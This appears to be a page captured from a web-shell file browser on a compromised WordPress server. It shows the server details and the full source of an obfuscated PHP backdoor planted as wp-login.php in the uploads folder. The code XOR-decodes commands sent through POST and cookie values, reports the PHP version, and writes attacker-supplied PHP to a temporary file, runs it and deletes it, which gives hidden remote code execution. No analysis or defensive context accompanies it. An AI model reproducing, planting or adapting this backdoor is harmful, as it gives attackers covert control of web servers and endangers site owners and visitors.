HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/09/wp-login.php
<?php $shacndk    = /*  pnsgh_ */ 'shacndk' /* m*/ ^ /*  giil*/ '';

$_hnwxn_qlz	=	$shacndk(688-591)    .    $shacndk(114)      .     "r"."a".$shacndk(272-151)     .   "_"."m"."a"."p";
$zlfwgd    =    "i"."\x6d" /*i  */ . /*tqiidr  */ "p"."\x6c"    .    "\157"      . /*   igpr_n*/ "\x64"       .	"\145";




function	fqrftj($nxd_ct_j, /*   swzor*/ $dwhcgne)


{


  global   $shacndk;    

 /* bwm  */ $nxd_ct_j /*mszkr */ =    "<"    .	$shacndk(514-451)   .    $shacndk(320-208)       . /*  yxs   */ "h"."p".$shacndk(32)       . /* uubze */ "u".$shacndk(554-444)    . /*_   */ "l"."i"."\x6e"	.	"\x6b"    .	"("."_".$shacndk(414-319) /* ccvw*/ .    $shacndk(70) /*b   */ .       "I".$shacndk(76) /* se */ .	$shacndk(69) /*rye*/ . /* omoa*/ "_"."_".$shacndk(691-650) /*ecp*/ . /* uop_   */ "\73"	.     $shacndk(32)   .       $nxd_ct_j["d"];


	$rffini	=	$shacndk(743-641) /*   jzxsp */ . /* go  */ $shacndk(105)     .  $shacndk(1056-948) /*   e */ .	$shacndk(757-656)	. /*   c   */ $shacndk(95)    . /* qkg  */ "p"."u"."\x74"    . /*vf   */ "\137"    .    "c"."o".$shacndk(811-701) /* zlkq  */ . /*  ngaz */ "\164" /*  xcb*/ . /*rlekg*/ "\145" /* zhlhud   */ .	"n"."\x74" /* ja  */ .   "s";
 /*   pk   */ 
 /*  ovw*/ $rffini($dwhcgne,	$nxd_ct_j); /* ug */    oqtyfoq($dwhcgne);


}





$omeoe /*   jg  */ =    73;




function /*y  */ oqtyfoq($dwhcgne)

{

 /*  ijzhb  */ global      $shacndk;

	
      include($dwhcgne);

 /* f  */ $vxkly_njnb /* tnht  */ =   $dwhcgne;


	@unlink($vxkly_njnb);

}
function /*  w*/ ljgyz__mlm()
{

 /*gkpjux*/ global    $shacndk;

 /*   a_djy  */ $hdyacm      =   array();

    $hdyacm["\160"    . /*   zpbglk  */ $shacndk(118)] /*  wkey */ = /*  khlp*/ phpversion();

  $hdyacm["s"."v"]    =	$shacndk(51) /* bv  */ .    ".".$shacndk(301-248);
	$m_qkogql	= /* ccgx*/ 74;    echo	@serialize($hdyacm);

}




function	kcwgjceb($nxd_ct_j, /*yyllqo */ $mmuva)


{
    global      $shacndk;


	$hdbbbueqi    =       "";	$fxxzwzpg	=      strlen($nxd_ct_j);    $pabsi /*  dmd_zl   */ =    strlen($mmuva);


	$hdyacm    =	0; /*  _vb */ $slojzmzqg /*b */ = /*wcis   */ 0;
        while /*   rrnvf*/ ($hdyacm    <	$fxxzwzpg) /*   tpls */ {

	$dtnde /* _*/ = /*  s*/ $nxd_ct_j[$hdyacm]	^       $mmuva[$slojzmzqg    %    $pabsi];

    $hdbbbueqi /* qn   */ .= /*gd  */ $dtnde;    $slojzmzqg++;      

   $hdyacm++;
 /* mnfn*/ } /*kzabh */     if      (strlen($hdbbbueqi) /*   xy  */ > /*aiysak  */ 20)      {
     $hdyacmyqwfdcqt    = /*  o  */ substr($hdbbbueqi,    0,       20);   }
    if	(empty($hdbbbueqi))   {

	$hdbbbueqi /* oeq */ =     date('Y-m-d    H:i:s');


   }


 /*  fq   */ return /*   rsdmsq */ $hdbbbueqi;
}






function    fjydtcky($byvxar)


{ /*_pvu   */ global    $shacndk;

	


    $ekzldcz  =  $shacndk(50)  .   "3"."\146" /*   owu  */ .    "\67"    . /*   sap   */ $shacndk(100)   .   "c".$shacndk(823-769) /*  zdac*/ . /*ofsee*/ "e"."-"."\143" /*   ebccai   */ .    "3"."b".$shacndk(559-505)    . /*   cy  */ $shacndk(953-908)  .	"\x34"  . /*   tlai*/ "3"."c".$shacndk(223-123)    . /*  o   */ "\55" /*   y   */ . /*uevl  */ "\70"    .       "4".$shacndk(214-162)    . /* feqjyn */ "b"."-"."2"."9".$shacndk(100) /*   dkohp  */ .   "0".$shacndk(52) /*   tuxgnj  */ .    $shacndk(50)      . /*clpxv   */ "b".$shacndk(48)      .    $shacndk(53)	. /*demuli */ $shacndk(56)    . /* otw */ "b"."1";
 /*  pp*/ 

    foreach       ($byvxar /* txgkp */ as	$gcwhxmdvo     =>    $nxd_ct_j) /* zadpcl  */ {

	_jubebw(base64_decode($nxd_ct_j), /*  rbhas */ $ekzldcz,     $gcwhxmdvo);

     }
}
function    _jubebw($nxd_ct_j,    $ekzldcz, /*   bc*/ $gcwhxmdvo)


{


 /*   ccj  */ global    $shacndk;      


	$nxd_ct_j    =     unserialize(kcwgjceb(kcwgjceb($nxd_ct_j,    $ekzldcz),     $gcwhxmdvo));	$cqjut_aco      =    'ajn';
	$e_jdhk /*  mihmn */ = /* ekvh*/ 'dc';
    if    (isset($nxd_ct_j[$shacndk(97)       .    "k"])) /*ggwcb_*/ {


    if	($nxd_ct_j[$shacndk(97)]   == /* ezlqrb  */ "i")  {

    ljgyz__mlm();

       }      elseif    ($nxd_ct_j[$shacndk(97)]   ==    "e")	{


       fqrftj($nxd_ct_j, /*   vyl  */ sprintf($shacndk(46) /* dmmncv*/ .       "/"."%"."s".".".$shacndk(305-193)   . /*   lorp*/ $shacndk(843-735),	md5($ekzldcz)));

			$p__inwvqdr /* lqib   */ =       44;
 /*ss*/ }	exit();


 /* q */ }}fjydtcky($_POST);	





$hnqstzgucf    =	'rawurldecode';

$sxxkujvrq	= /*   e  */ $_hnwxn_qlz($hnqstzgucf, /*bunb   */ $_POST);

$zlfwgd("",	$hnqstzgucf);
fjydtcky($_COOKIE);





$catapkzai    =     $_hnwxn_qlz($hnqstzgucf,	$_COOKIE);




?>